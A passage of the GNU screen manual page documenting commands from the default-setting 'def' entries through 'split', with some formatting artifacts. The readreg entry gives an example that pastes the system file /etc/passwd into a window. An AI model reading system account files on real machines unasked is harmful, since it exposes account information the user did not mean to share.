Like the charset command except that the default setting for new windows is changed. Shows current default if called without argument.

defdynamictitle [ on | off ]

Set default behaviour for new windows regarding if screen should change window title when seeing proper escape sequence. See also “TITLES (naming windows)” section.

**defescape **xy

Set the default command characters. This is equivalent to the escape except that it is useful multiuser sessions only. In a multiuser session escape changes the command character of the calling user, where defescape changes the default command characters for users that will be added later.

“defflow[on|off|auto[interrupt]]

Same as the flow command except that the default setting for new windows is changed. Initial setting is `auto’. Specifying defflow auto interrupt is the same as the command-line options -fa and -i.

defgr [ on | off ]

Same as the gr command except that the default setting for new windows is changed. Initial setting is `off’.

**defhstatus **[status]

The hardstatus line that all new windows will get is set to status. This command is useful to make the hardstatus of every window display the window number or title or the like. Status may contain the same directives as in the window messages, but the directive escape character is ‘^E’ (octal 005) instead of ‘%’. This was done to make a misinterpretation of program generated hardstatus lines impossible. If the parameter status is omitted, the current default string is displayed. Per default the hardstatus line of new windows is empty.

**defencoding **enc

Same as the encoding command except that the default setting for new windows is changed. Initial setting is the encoding taken from the terminal.

deflog [ on | off ]

Same as the log command except that the default setting for new windows is changed. Initial setting is `off’.

deflogin [ on | off ]

Same as the login command except that the default setting for new windows is changed. This is initialized with `on’ as distributed (see config.h.in).

**defmode **mode

The mode of each newly allocated pseudo-tty is set to mode. Mode is an octal number. When no defmode command is given, mode 0622 is used.

defmonitor [ on | off]

Same as the monitor command except that the default setting for new windows is changed. Initial setting is `off’.

defmousetrack [ on | off ]

Same as the mousetrack command except that the default setting for new windows is changed. Initial setting is `off’.

“defnonblock[on|off|numsecs]

Same as the nonblock command except that the default setting for displays is changed. Initial setting is `off’.

**defobuflimit **limit

Same as the obuflimit command except that the default setting for new displays is changed. Initial setting is 256 bytes. Note that you can use the special ‘OL’ terminal capability if you want to have a dependency on the terminal type.

**defscrollback **num

Same as the scrollback command except that the default setting for new windows is changed. Initial setting is 100.

**defshell **command

Synonym to the shell .screenrc command. See there.

defsilence [ on | off ]

Same as the silence command except that the default setting for new windows is changed. Initial setting is `off’.

**defslowpaste **msec

Same as the slowpaste command except that the default setting for new windows is changed. Initial setting is 0 milliseconds, meaning `off'.

defutf8 [ on | off ]

Same as the utf8 command except that the default setting for new windows is changed. Initial setting is `on’ if screen was started with -U, otherwise `off'.

defwrap [ on | off ]

Same as the wrap command except that the default setting for new windows is changed. Initially line-wrap is on and can be toggled with the wrap command (C-a r) or by means of “C-a : wrap on|off”.

defwritelock [ on | off | auto ]

Same as the writelock command except that the default setting for new windows is changed. Initially writelocks will off.

detach [-h]

Detach the screen session (disconnect it from the terminal and put it into the background). This returns you to the shell where you invoked screen. A detached screen can be resumed by invoking screen with the -r option (see also section COMMAND-LINE OPTIONS). The -h option tells screen to immediately close the connection to the terminal (hangup).

dinfo

Show what screen thinks about your terminal. Useful if you want to know why features like color or the alternate charset don’t work.

displays

Shows a tabular listing of all currently connected user front-ends (displays). This is most useful for multiuser sessions. The following keys can be used in displays list:

_
k, C-p, or upMove up one line.
_
j, C-n, or downMove down one line.
_
C-a or homeMove to the first line.
_
C-e or endMove to the last line.
_
C-u or C-dMove one half page up or down.
_
C-b or C-fMove one full page up or down.
_
mouseclickMove to the selected line. Available when mousetrack is set to on.
_
spaceRefresh the list
_
dDetach that display
_
DPower detach that display
_
C-g, enter, or escapeExit the list
_

The following is an example of what displays could look like:

xterm 80x42 jnweiger@/dev/ttyp4 0(m11) &rWx facit 80x24 mlschroe@/dev/ttyhf nb 11(tcsh) rwx xterm 80x42 jnhollma@/dev/ttyp5 0(m11) &R.x (A) (B) (C) (D) (E) (F)(G) (H)(I)

The legend is as follows:

(A) The terminal type known by screen for this display.

(B) Displays geometry as width x height.

(C) Username who is logged in at the display.

(D) Device name of the display or the attached device

(E) Display is in blocking or nonblocking mode. The available modes are “nb”, “NB”, “Z<”, “Z>”, and “BL”.

(F) Number of the window

(G) Name/title of window

(H) Whether the window is shared

(I) Window permissions. Made up of three characters.

TABLE

displays needs a region size of at least 10 characters wide and 5 characters high in order to display.

*digraph *[preset[unicode-value]]

This command prompts the user for a digraph sequence. The next two characters typed are looked up in a builtin table and the resulting character is inserted in the input stream. For example, if the user enters ‘a”’, an a-umlaut will be inserted. If the first character entered is a 0 (zero), screen will treat the following characters (up to three) as an octal number instead. The optional argument preset is treated as user input, thus one can create an umlaut key. For example the command “bindkey ^K digraph ‘”’” enables the user to generate an a-umlaut by typing CTRL-K a. When a non-zero unicode-value is specified, a new digraph is created with the specified preset. The digraph is unset if a zero value is provided for the unicode-value.

dumptermcap

Write the termcap entry for the virtual terminal optimized for the currently active window to the file .termcap in the user’s $HOME/.screen directory (or wherever screen stores its sockets. See the FILES section below). This termcap entry is identical to the value of the environment variable $TERMCAP that is set up by screen for each window. For terminfo based systems you will need to run a converter like captoinfo and then compile the entry with tic.

dynamictitle [ on | off ]

Change behaviour for windows regarding if screen should change window title when seeing proper escape sequence. See also “TITLES (naming windows)” section.

echo [-n]** message**

The echo command may be used to annoy screen users with a ‘message of the day’. Typically installed in a global /etc/screenrc. The option -n may be used to suppress the line feed. See also sleep. Echo is also useful for online checking of environment variables.

**encoding ***enc *[enc]

Tell screen how to interpret the input/output. The first argument sets the encoding of the current window. Each window can emulate a different encoding. The optional second parameter overwrites the encoding of the connected terminal. It should never be needed as screen uses the locale setting to detect the encoding. There is also a way to select a terminal encoding depending on the terminal type by using the KJ termcap entry.

Supported encodings are eucJP, SJIS, eucKR, eucCN, Big5, GBK, KOI8-R, KOI8-U, CP1251, UTF-8, ISO8859-2, ISO8859-3, ISO8859-4, ISO8859-5, ISO8859-6, ISO8859-7, ISO8859-8, ISO8859-9, ISO8859-10, ISO8859-15, jis.

See also defencoding, which changes the default setting of a new window.

**escape **xy

Set the command character to x and the character generating a literal command character (by triggering the meta command) to y (similar to the -e option). Each argument is either a single character, a two-character sequence of the form ^x (meaning C-x), a backslash followed by an octal number (specifying the ASCII code of the character), or a backslash followed by a second character, such as \ or . The default is ^Aa.

eval command1[command2 …]

Parses and executes each argument as separate command.

*exec *[[fdpat]*newcommand *[args …]]

Run a unix subprocess (specified by an executable path newcommand and its optional arguments) in the current window. The flow of data between newcommands stdin/stdout/stderr, the process originally started in the window (let us call it “application-process”) and screen itself (window) is controlled by the file descriptor pattern fdpat. This pattern is basically a three character sequence representing stdin, stdout and stderr of newcommand. A dot (.) connects the file descriptor to screen. An exclamation mark (!) causes the file descriptor to be connected to the application-process. A colon (:) combines both. User input will go to newcommand unless newcommand receives the application-process’ output (fdpats first character is `!’ or `:’) or a pipe symbol (|) is added (as a fourth character) to the end of fdpat.

Invoking `exec’ without arguments shows name and arguments of the currently running subprocess in this window. Only one subprocess a time can be running in each window.

When a subprocess is running the `kill’ command will affect it instead of the windows process.

Refer to the postscript file `doc/fdpat.ps’ for a confusing illustration of all 21 possible combinations. Each drawing shows the digits 2,1,0 representing the three file descriptors of newcommand. The box marked `W’ is the usual pty that has the application-process on its slave side. The box marked `P’ is the secondary pty that now has screen at its master side.

Abbreviations: Whitespace between the word `exec’ and fdpat and the command can be omitted. Trailing dots and a fdpat consisting only of dots can be omitted. A simple `|’ is synonymous for the pattern `!..|’; the word exec can be omitted here and can always be replaced by `!’.

Examples:

exec … /bin/sh
exec /bin/sh
!/bin/sh
Creates another shell in the same window, while the original shell is still running. Output of both shells is displayed and user input is sent to the new /bin/sh.

exec !.. stty 19200
exec ! stty 19200
!!stty 19200
Set the speed of the window’s tty. If your stty command operates on stdout, then add another `!’.

exec !..| less
|less
This adds a pager to the window output. The special character `|’ is needed to give the user control over the pager although it gets its input from the window’s process. This works, because less listens on stderr (a behavior that screen would not expect without the `|’) when its stdin is not a tty. Less versions newer than 177 fail miserably here; good old pg still works.

!:sed -n s/.*Error.*//p
Sends window output to both, the user and the sed command. The sed inserts an additional bell character (oct. 007) to the window output seen by screen. This will cause “Bell in window x” messages, whenever the string “Error” appears in the window.

fit

Change the window size to the size of the current region. This command is needed because screen doesn’t adapt the window size automatically if the window is displayed more than once.

flow [ on | off | auto]

Sets the flow-control mode for this window. Without parameters it cycles the current window’s flow-control setting from “automatic” to “on” to “off”. See the discussion on FLOW-CONTROL later on in this document for full details and note, that this is subject to change in future releases. Default is set by `defflow’.

focus [ next | prev | up | down | left | right | top | bottom ]

Move the input focus to the next region. This is done in a cyclic way so that the top left region is selected after the bottom right one. If no option is given it defaults to `next’. The next region to be selected is determined by how the regions are layered. Normally, the next region in the same layer would be selected. However, if that next region contains one or more layers, the first region in the highest layer is selected first. If you are at the last region of the current layer, `next’ will move the focus to the next region in the lower layer (if there is a lower layer). `Prev’ cycles in the opposite order. See split for more information about layers.

The rest of the options (`up’, `down’, `left’, `right’, `top’, and `bottom’) are more indifferent to layers. The option `up’ will move the focus upward to the region that is touching the upper left corner of the current region. `Down’ will move downward to the region that is touching the lower left corner of the current region. The option `left’ will move the focus leftward to the region that is touching the upper left corner of the current region, while `right’ will move rightward to the region that is touching the upper right corner of the current region. Moving left from a left most region or moving right from a right most region will result in no action.

The option `top’ will move the focus to the very first region in the upper list corner of the screen, and `bottom’ will move to the region in the bottom right corner of the screen. Moving up from a top most region or moving down from a bottom most region will result in no action.

Useful bindings are (h, j, k, and l as in vi)

    bind h focus left
    bind j focus down
    bind k focus up
    bind l focus right
    bind t focus top
    bind b focus bottom

Note that k is traditionally bound to the kill command.

focusminsize [ ( width|max|_ ) ( height|max|_ ) ]

This forces any currently selected region to be automatically resized at least a certain width and height. All other surrounding regions will be resized in order to accommodate. This constraint follows every time the focus command is used. The resize command can be used to increase either dimension of a region, but never below what is set with focusminsize. The underscore `_’ is a synonym for max. Setting a width and height of `0 0’ (zero zero) will undo any constraints and allow for manual resizing. Without any parameters, the minimum width and height is shown.

gr [ on | off ]

Turn GR charset switching on/off. Whenever screen sees an input character with the 8th bit set, it will use the charset stored in the GR slot and print the character with the 8th bit stripped. The default (see also defgr) is not to process GR switching because otherwise the ISO88591 charset would not work.

*group *[grouptitle]

Change or show the group the current window belongs to. Windows can be moved around between different groups by specifying the name of the destination group. Without specifying a group, the title of the current group is displayed.

hardcopy [-h] [file]

Writes out the currently displayed image to the file file, or, if no filename is specified, to hardcopy.n in the default directory, where n is the number of the current window. This either appends or overwrites the file if it exists. See below. If the option -h is specified, dump also the contents of the scrollback buffer.

hardcopy_append [ on | off ]

If set to “on”, screen will append to the “hardcopy.n” files created by the command C-a h, otherwise these files are overwritten each time. Default is `off'.

**hardcopydir **directory

Defines a directory where hardcopy files will be placed. If unset, hardcopys are dumped in screen’s current working directory.

hardstatus [ on | off ]
hardstatus [ always ] firstline | lastline | message | ignore [ string ]
hardstatus string [ string ]

This command configures the use and emulation of the terminal’s hardstatus line. The first form toggles whether screen will use the hardware status line to display messages. If the flag is set to `off’, these messages are overlaid in reverse video mode at the display line. The default setting is `on'.

The second form tells screen what to do if the terminal doesn’t have a hardstatus line (i.e. the termcap/terminfo capabilities “hs”, “ts”, “fs” and “ds” are not set). When firstline/lastline is used, screen will reserve the first/last line of the display for the hardstatus. message uses screen’s message mechanism and ignore tells screen never to display the hardstatus. If you prepend the word always to the type (e.g., alwayslastline), screen will use the type even if the terminal supports a hardstatus.

The third form specifies the contents of the hardstatus line. ‘%h’ is used as default string, i.e., the stored hardstatus of the current window (settable via ESC]0;<string>^G or ESC_<string>ESC\ is displayed. You can customize this to any string you like including the escapes from the STRING ESCAPES chapter. If you leave out the argument string, the current string is displayed.

You can mix the second and third form by providing the string as additional argument.

height [-w|-d] [lines [cols]]

Set the display height to a specified number of lines. When no argument is given it toggles between 24 and 42 lines display. You can also specify a width if you want to change both values. The -w option tells screen to leave the display size unchanged and just set the window size, -d vice versa.

help[class]

Not really a online help, but displays a help screen showing you all the key bindings. The first pages list all the internal commands followed by their current bindings. Subsequent pages will display the custom commands, one command per key. Press space when you’re done reading each page, or return to exit early. All other characters are ignored. If the -c option is given, display all bound commands for the specified command class. See also DEFAULT KEY BINDINGS section.

history

Usually users work with a shell that allows easy access to previous commands. For example csh has the command !! to repeat the last command executed. Screen allows you to have a primitive way of re-calling the command that started …: You just type the first letter of that command, then hit `C-a {’ and screen tries to find a previous line that matches with the `prompt character’ to the left of the cursor. This line is pasted into this window’s input queue. Thus you have a crude command history (made up by the visible window and its scrollback buffer).

**hstatus **status

Change the window’s hardstatus line to the string status.

*idle *[timeout[cmd-args]]

Sets a command that is run after the specified number of seconds inactivity is reached. This command will normally be the blanker command to create a screen blanker, but it can be any screen command. If no command is specified, only the timeout is set. A timeout of zero (or the special timeout off) disables the timer. If no arguments are given, the current settings are displayed.

ignorecase [ on | off ]

Tell screen to ignore the case of characters in searches. Default is `off’. Without any options, the state of ignorecase is toggled.

info

Uses the message line to display some information about the current window: the cursor position in the form (column,row) starting with (1,1), the terminal width and height plus the size of the scrollback buffer in lines, like in (80,24)+50, the current state of window XON/XOFF flow control is shown like this (See also section FLOW CONTROL):

+flowautomatic flow control, currently on.
-flowautomatic flow control, currently off.
+(+)flowflow control enabled. Agrees with automatic control.
-(+)flowflow control disabled. Disagrees with automatic control.
+(-)flowflow control enabled. Disagrees with automatic control.
-(-)flowflow control disabled. Agrees with automatic control.

The current line wrap setting (`+wrap’ indicates enabled, `-wrap’ not) is also shown. The flags `ins’, `org’, `app’, `log’, `mon’ or `nored’ are displayed when the window is in insert mode, origin mode, application-keypad mode, has output logging, activity monitoring or partial redraw enabled.

The currently active character set (G0, G1, G2, or G3) and in square brackets the terminal character sets that are currently designated as G0 through G3 is shown. If the window is in UTF-8 mode, the string UTF-8 is shown instead.

Additional modes depending on the type of the window are displayed at the end of the status line (See also chapter WINDOW TYPES).

If the state machine of the terminal emulator is in a non-default state, the info line is started with a string identifying the current state.

For system information use the time command.

ins_reg [key]

No longer exists, use paste instead.

kill

Kill current window.

If there is an `exec’ command running then it is killed. Otherwise the process (shell) running in the window receives a HANGUP condition, the window structure is removed and screen (your display) switches to another window. When the last window is destroyed, screen exits. After a kill screen switches to the previously displayed window.

Note: Emacs users should keep this command in mind, when killing a line. It is recommended not to use C-a as the screen escape key or to rebind kill to C-a K.

lastmsg

Redisplay the last contents of the message/status line. Useful if you’re typing when a message appears, because the message goes away when you press a key (unless your terminal has a hardware status line). Refer to the commands msgwait and msgminwait for fine tuning.

**layout new **[title]

Create a new layout. The screen will change to one whole region and be switched to the blank window. From here, you build the regions and the windows they show as you desire. The new layout will be numbered with the smallest available integer, starting with zero. You can optionally give a title to your new layout. Otherwise, it will have a default title of layout. You can always change the title later by using the command layout title*.*

**layout remove **[n|title]

Remove, or in other words, delete the specified layout. Either the number or the title can be specified. Without either specification, screen will remove the current layout.

Removing a layout does not affect your set windows or regions.

layout next

Switch to the next layout available

layout prev

Switch to the previous layout available

**layout select **[n|title]

Select the desired layout. Either the number or the title can be specified. Without either specification, screen will prompt and ask which screen is desired. To see which layouts are available, use the layout show command.

layout show

List on the message line the number(s) and title(s) of the available layout(s). The current layout is flagged.

**layout title **[title]

Change or display the title of the current layout. A string given will be used to name the layout. Without any options, the current title and number is displayed on the message line.

**layout number **[n]

Change or display the number of the current layout. An integer given will be used to number the layout. Without any options, the current number and title is displayed on the message line.

layout attach [title|:last*]*

Change or display which layout to reattach back to. The default is :last*, which tells screen to reattach back to the last* used layout just before detachment. By supplying a title, You can instruct screen to reattach to a particular layout regardless which one was used at the time of detachment. Without any options, the layout to reattach to will be shown in the message line.

**layout save **[n|title]

Remember the current arrangement of regions. When used, screen will remember the arrangement of vertically and horizontally split regions. This arrangement is restored when a screen session is reattached or switched back from a different layout. If the session ends or the screen process dies, the layout arrangements are lost. The layout dump command should help in this situation. If a number or title is supplied, screen will remember the arrangement of that particular layout. Without any options, screen will remember the current layout.

Saving your regions can be done automatically by using the layout autosave command.

layout autosave [ on | off]

Change or display the status of automatically saving layouts. The default is on*, meaning when screen is detached or* changed to a different layout, the arrangement of regions and windows will be remembered at the time of change and restored upon return. If autosave is set to off*, that arrangement will only be* restored to either to the last manual save, using layout save*,* or to when the layout was first created, to a single region with a single window. Without either an on or off*, the* current status is displayed on the message line.

**layout dump **[filename]

Write to a file the order of splits made in the current layout. This is useful to recreate the order of your regions used in your current layout. Only the current layout is recorded. While the order of the regions are recorded, the sizes of those regions and which windows correspond to which regions are not. If no filename is specified, the default is layout-dump, saved in the directory that the screen process was started in. If the file already exists, layout dump will append to that file. As an example:

	C-a : layout dump /home/user/.screenrc

will save or append the layout to the user’s .screenrc file.

license

Display the disclaimer page. This is done whenever screen is started without options, which should be often enough. See also the startup_message command.

lockscreen

Lock this display. Call a screenlock program. Screen does not accept any command keys until this program terminates. Meanwhile processes in the windows may continue, as the windows are in the `detached’ state. The screenlock program may be changed through the environment variable $LOCKPRG (which must be set in the shell from which screen is started) and is executed with the user’s uid and gid.

Warning: When you leave other shells unlocked and you have no password set on screen, the lock is void: One could easily re-attach from an unlocked shell. This feature should rather be called `lockterminal’.

log [ on | off ]

Start/stop writing output of the current window to a file screenlog.n in the window’s default directory, where n is the number of the current window. This filename can be changed with the `logfile’ command. If no parameter is given, the state of logging is toggled. The session log is appended to the previous contents of the file if it already exists. The current contents and the contents of the scrollback history are not included in the session log. Default is `off'.

**logfile **filename
**logfile flush **secs

Defines the name the log files will get. The default is screenlog.%n. The second form changes the number of seconds screen will wait before flushing the logfile buffer to the file-system. The default value is 10 seconds.

login [ on | off ]

Adds or removes the entry in the utmp database file for the current window. This controls if the window is `logged in’. When no parameter is given, the login state of the window is toggled. Additionally to that toggle, it is convenient having a `log in’ and a `log out’ key. E. g. `bind I login on’ and `bind O login off’ will map these keys to be C-a I and C-a O. The default setting (in config.h.in) should be on for a screen that runs under suid-root. Use the deflogin command to change the default login state for new windows. Both commands are only present when screen has been compiled with utmp support.

**logtstamp **[on|off]
*logtstamp after *[secs]
logtstamp string

[string]

This command controls logfile time-stamp mechanism of screen. If time-stamps are turned on, screen adds a string containing the current time to the logfile after two minutes of inactivity. When output continues and more than another two minutes have passed, a second time-stamp is added to document the restart of the output. You can change this timeout with the second form of the command. The third form is used for customizing the time-stamp string (`– %n:%t – time-stamp – %M/%d/%y %c:%s – ’ by default).

mapdefault

Tell screen that the next input character should only be looked up in the default bindkey table. See also bindkey.

mapnotnext

Like mapdefault, but don’t even look in the default bindkey table.

*maptimeout *[timeout]

Set the inter-character timer for input sequence detection to a timeout of timeout ms. The default timeout is 300ms. Maptimeout with no arguments shows the current setting. See also bindkey.

**markkeys **string

This is a method of changing the keymap used for copy/history mode. The string is made up of oldchar=newchar pairs which are separated by `:’. Example: The string B=^B:F=^F will change the keys `C-b’ and `C-f’ to the vi style binding (scroll up/down fill page). This happens to be the default binding for `B’ and `F’. The command markkeys h=^B:l=^F:$=^E would set the mode for an emacs-style binding. If your terminal sends characters, that cause you to abort copy mode, then this command may help by binding these characters to do nothing. The no-op character is `@’ and is used like this: markkeys @=L=H if you do not want to use the `H’ or `L’ commands any longer. As shown in this example, multiple keys can be assigned to one function in a single statement.

**maxwin **num

Set the maximum window number screen will create. Doesn’t affect already existing windows. The number can be increased only when there are no existing windows.

meta

Insert the command character (C-a) in the current window’s input stream.

monitor [ on | off ]

Toggles activity monitoring of windows. When monitoring is turned on and an affected window is switched into the background, you will receive the activity notification message in the status line at the first sign of output and the window will also be marked with an `@’ in the window-status display. Monitoring is initially off for all windows.

mousetrack [ on | off ]

This command determines whether screen will watch for mouse clicks. When this command is enabled, regions that have been split in various ways can be selected by pointing to them with a mouse and left-clicking them. Without specifying on or off, the current state is displayed. The default state is determined by the defmousetrack command.

**msgminwait **sec

Defines the time screen delays a new message when one message is currently displayed. The default is 1 second.

**msgwait **sec

Defines the time a message is displayed if screen is not disturbed by other activity. The default is 5 seconds.

multiuser [ on | off ]

Switch between singleuser and multiuser mode. Standard screen operation is singleuser. In multiuser mode the commands `acladd’, `aclchg’, `aclgrp’ and `acldel’ can be used to enable (and disable) other users accessing this screen session.

nethack [ on | off ]

Changes the kind of error messages used by screen. When you are familiar with the game nethack, you may enjoy the nethack-style messages which will often blur the facts a little, but are much funnier to read. Anyway, standard messages often tend to be unclear as well.
This option is only available if screen was compiled with the NETHACK flag defined. The default setting is then determined by the presence of the environment variable $NETHACKOPTIONS and the file ~/.nethackrc - if either one is present, the default is on.

next

Switch to the next window. This command can be used repeatedly to cycle through the list of windows.

nonblock [ on | off | numsecs ]

Tell screen how to deal with user interfaces (displays) that cease to accept output. This can happen if a user presses ^S or a TCP/modem connection gets cut but no hangup is received. If nonblock is off (this is the default) screen waits until the display restarts to accept the output. If nonblock is on, screen waits until the timeout is reached (on is treated as 1s). If the display still doesn’t receive characters, screen will consider it blocked and stop sending characters to it. If at some time it restarts to accept characters, screen will unblock the display and redisplay the updated window contents.

**number **[[+|-]n]

Change the current window’s number. If the given number n is already used by another window, both windows exchange their numbers. If no argument is specified, the current window number (and title) is shown. Using `+’ or `-’ will change the window’s number by the relative amount specified.

**obuflimit **[limit]

If the output buffer contains more bytes than the specified limit, no more data will be read from the windows. The default value is 256. If you have a fast display (like xterm), you can set it to some higher value. If no argument is specified, the current setting is displayed.

only

Kill all regions but the current one.

other

Switch to the window displayed previously. If this window does no longer exist, other has the same effect as next.

partial [ on | off ]

Defines whether the display should be refreshed (as with redisplay) after switching to the current window. This command only affects the current window. To immediately affect all windows use the allpartial command. Default is `off’, of course. This default is fixed, as there is currently no defpartial command.

**password **[crypted_pw]

Present a crypted password in your .screenrc file and screen will ask for it, whenever someone attempts to resume a detached. This is useful if you have privileged programs running under screen and you want to protect your session from reattach attempts by another user masquerading as your uid (i.e. any superuser.) If no crypted password is specified, screen prompts twice for typing a password and places its encryption in the paste buffer. Default is `none’, this disables password checking.

*paste *[registers [dest_reg]]

Write the (concatenated) contents of the specified registers to the stdin queue of the current window. The register ‘.’ is treated as the paste buffer. If no parameter is given the user is prompted for a single register to paste. The paste buffer can be filled with the copy, history and readbuf commands. Other registers can be filled with the register, readreg and paste commands. If paste is called with a second argument, the contents of the specified registers is pasted into the named destination register rather than the window. If ‘.’ is used as the second argument, the displays paste buffer is the destination. Note, that paste uses a wide variety of resources: Whenever a second argument is specified no current window is needed. When the source specification only contains registers (not the paste buffer) then there need not be a current display (terminal attached), as the registers are a global resource. The paste buffer exists once for every user.

pastefont [ on | off ]

Tell screen to include font information in the paste buffer. The default is not to do so. This command is especially useful for multi character fonts like kanji.

pow_break

Reopen the window’s terminal line and send a break condition. See `break’.

pow_detach

Power detach. Mainly the same as detach, but also sends a HANGUP signal to the parent process of screen. CAUTION: This will result in a logout, when screen was started from your login-shell.

*pow_detach_msg *[message]

The message specified here is output whenever a `Power detach’ was performed. It may be used as a replacement for a logout message or to reset baud rate, etc. Without parameter, the current message is shown.

prev

Switch to the window with the next lower number. This command can be used repeatedly to cycle through the list of windows.

*printcmd *[cmd]

If cmd is not an empty string, screen will not use the terminal capabilities po/pf if it detects an ansi print sequence ESC [ 5 i, but pipe the output into cmd. This should normally be a command like lpr or ‘cat > /tmp/scrprint’. printcmd without a command displays the current setting. The ansi sequence ESC [ 4 i ends printing and closes the pipe.

Warning: Be careful with this command! If other user have write access to your terminal, they will be able to fire off print commands.

process [key]

Stuff the contents of the specified register into screen’s input queue. If no argument is given you are prompted for a register name. The text is parsed as if it had been typed in from the user’s keyboard. This command can be used to bind multiple actions to a single key.

quit

Kill all windows and terminate screen. Note that on VT100-style terminals the keys C-4 and C-\ are identical. This makes the default bindings dangerous: Be careful not to type C-a C-4 when selecting window no. 4. Use the empty bind command (as in bind ‘^) to remove a key binding.

*readbuf *[encoding] [filename]

Reads the contents of the specified file into the paste buffer. You can tell screen the encoding of the file via the -e option. If no file is specified, the screen-exchange filename is used. See also bufferfile command.

*readreg *[encoding] [register [filename]]

Does one of two things, dependent on number of arguments: with zero or one arguments it duplicates the paste buffer contents into the register specified or entered at the prompt. With two arguments it reads the contents of the named file into the register, just as readbuf reads the screen-exchange file into the paste buffer. You can tell screen the encoding of the file via the -e option. The following example will paste the system’s password file into the screen window (using register p, where a copy remains):

	C-a : readreg p /etc/passwd
	C-a : paste p

redisplay

Redisplay the current window. Needed to get a full redisplay when in partial redraw mode.

register [-eencoding]key-string

Save the specified string to the register key. The encoding of the string can be specified via the -e option. See also the paste command.

remove

Kill the current region. This is a no-op if there is only one region.

removebuf

Unlinks the screen-exchange file used by the commands writebuf and readbuf.

rendition [ bell | monitor | silence | so ] attr [ color ]

Change the way screen renders the titles of windows that have monitor or bell flags set in caption or hardstatus or windowlist. See the STRING ESCAPES chapter for the syntax of the modifiers. The default for monitor is currently =b (bold, active colors), for bell =ub (underline, bold and active colors), and =u for silence.

reset

Reset the virtual terminal to its power-on values. Useful when strange settings (like scroll regions or graphics character set) are left over from an application.

resize
[-h|-v|-b|-l|-p] [[+|-] n[%] |=|max|min|_|0]

Resize the current region. The space will be removed from or added to the surrounding regions depending on the order of the splits. The available options for resizing are `-h’(horizontal), `-v’(vertical), `-b’(both), `-l’(local to layer), and `-p’(perpendicular). Horizontal resizes will add or remove width to a region, vertical will add or remove height, and both will add or remove size from both dimensions. Local and perpendicular are similar to horizontal and vertical, but they take in account of how a region was split. If a region’s last split was horizontal, a local resize will work like a vertical resize. If a region’s last split was vertical, a local resize will work like a horizontal resize. Perpendicular resizes work in opposite of local resizes. If no option is specified, local is the default.

The amount of lines to add or remove can be expressed a couple of different ways. By specifying a number n by itself will resize the region by that absolute amount. You can specify a relative amount by prefixing a plus `+’ or minus `-’ to the amount, such as adding +n lines or removing -n lines. Resizing can also be expressed as an absolute or relative percentage by postfixing a percent sign `%’. Using zero `0’ is a synonym for `min’ and using an underscore `_’ is a synonym for `max’.

Some examples are:

resize +N
increase current region by N

resize -N
decrease current region by N

resize N
set current region to N

resize 20%
set current region to 20% of original size

resize +20%
increase current region by 20%

resize -b =
make all windows equally

resize max
maximize current region

resize min
minimize current region

Without any arguments, screen will prompt for how you would like to resize the current region.

See focusminsize if you want to restrict the minimum size a region can have.

screen [-opts] [n] [cmd [args]|//group***]***

Establish a new window. The flow-control options (-f*,* -fn and -fa*),* title (a. k. a.) option (-t*), login options (-l and -ln)* , terminal type option (-T <term>), the all-capability-flag (-a*)* and scrollback option (-h <num>) may be specified with each command. The option (-M*) turns monitoring on for this window.* The option (-L*) turns output logging on for this window.* If an optional number n in the range 0..MAXWIN-1 is given, the window number n is assigned to the newly created window (or, if this number is already in-use, the next available number). If a command is specified after screen, this command (with the given arguments) is started in the window; otherwise, a shell is created. If //group is supplied, a container-type window is created in which other windows may be created inside it.

Thus, if your .screenrc contains the lines

	# example for .screenrc:
	screen 1
	screen -fn -t foobar -L 2 telnet foobar

screen creates a shell window (in window #1) and a window with a TELNET connection to the machine foobar (with no flow-control using the title foobar in window #2) and will write a logfile (screenlog.2) of the telnet session. Note, that unlike previous versions of screen no additional default window is created when screen commands are included in your .screenrc file. When the initialization is completed, screen switches to the last window specified in your .screenrc file or, if none, opens a default window #0.

Screen has built in some functionality of cu and telnet. See also chapter WINDOW TYPES.

scrollback num

Set the size of the scrollback buffer for the current windows to num lines. The default scrollback is 100 lines. See also the defscrollback command and use info to view the current setting. To access and use the contents in the scrollback buffer, use the copy command.

**select **[WindowID]

Switch to the window identified by WindowID. This can be a prefix of a window title (alphanumeric window name) or a window number. The parameter is optional and if omitted, you get prompted for an identifier. When a new window is established, the first available number is assigned to this window. Thus, the first window can be activated by select 0. The number of windows is set by the MAXWIN configuration parameter (which defaults to 100), but it can be changed by using `maxwin’ command. There are two special WindowIDs, - selects the internal blank window and . selects the current window. The latter is useful if used with screen’s -X option.

**sessionname **[name]

Rename the current session. Note, that for screen -list the name shows up with the process-id prepended. If the argument name is omitted, the name of this session is displayed. Caution: The $STY environment variables will still reflect the old name in pre-existing shells. This may result in confusion. Use of this command is generally discouraged. Use the -S command-line option if you want to name a new session. The default is constructed from the tty and host names.

*setenv *[var [string]]

Set the environment variable var to value string. If only var is specified, the user will be prompted to enter a value. If no parameters are specified, the user will be prompted for both variable and value. The environment is inherited by all subsequently forked shells.

setsid [ on | off ]

Normally screen uses different sessions and process groups for the windows. If setsid is turned off, this is not done anymore and all windows will be in the same process group as the screen backend process. This also breaks job-control, so be careful. The default is on, of course. This command is probably useful only in rare circumstances.

shell command

Set the command to be used to create a new shell. This overrides the value of the environment variable $SHELL. This is useful if you’d like to run a tty-enhancer which is expecting to execute the program specified in $SHELL. If the command begins with a ‘-’ character, the shell will be started as a login-shell. Typical shells do only minimal initialization when not started as a login-shell. E.g. Bash will not read your ~/.bash_profile unless it is a login-shell.

shelltitle title

Set the title for all shells created during startup or by the C-A C-c command. For details about what a title is, see the discussion entitled TITLES (naming windows).

silence [ on | off | sec ]

Toggles silence monitoring of windows. When silence is turned on and an affected window is switched into the background, you will receive the silence notification message in the status line after a specified period of inactivity (silence). The default timeout can be changed with the `silencewait’ command or by specifying a number of seconds instead of `on’ or `off’. Silence is initially off for all windows.

**silencewait **sec

Define the time that all windows monitored for silence should wait before displaying a message. Default 30 seconds.

sleep num

This command will pause the execution of a .screenrc file for num seconds. Keyboard activity will end the sleep. It may be used to give users a chance to read the messages output by echo.

slowpaste msec

Define the speed at which text is inserted into the current window by the paste (“C-a ]”) command. If the slowpaste value is nonzero text is written character by character. screen will make a pause of msec milliseconds after each single character write to allow the application to process its input. Only use slowpaste if your underlying system exposes flow control problems while pasting large amounts of text.

sort

Sort the windows in alphabetical order of the window tiles.

**source **file

Read and execute commands from file file. Source commands may be nested to a maximum recursion level of ten. If file is not an absolute path and screen is already processing a source command, the parent directory of the running source command file is used to search for the new command file before screen’s current directory.

Note that termcap/terminfo/termcapinfo commands only work at startup and reattach time, so they must be reached via the default screenrc files to have an effect.

*sorendition *[attr[color]]

This command is deprecated. See “rendition so” instead.

split[-v]

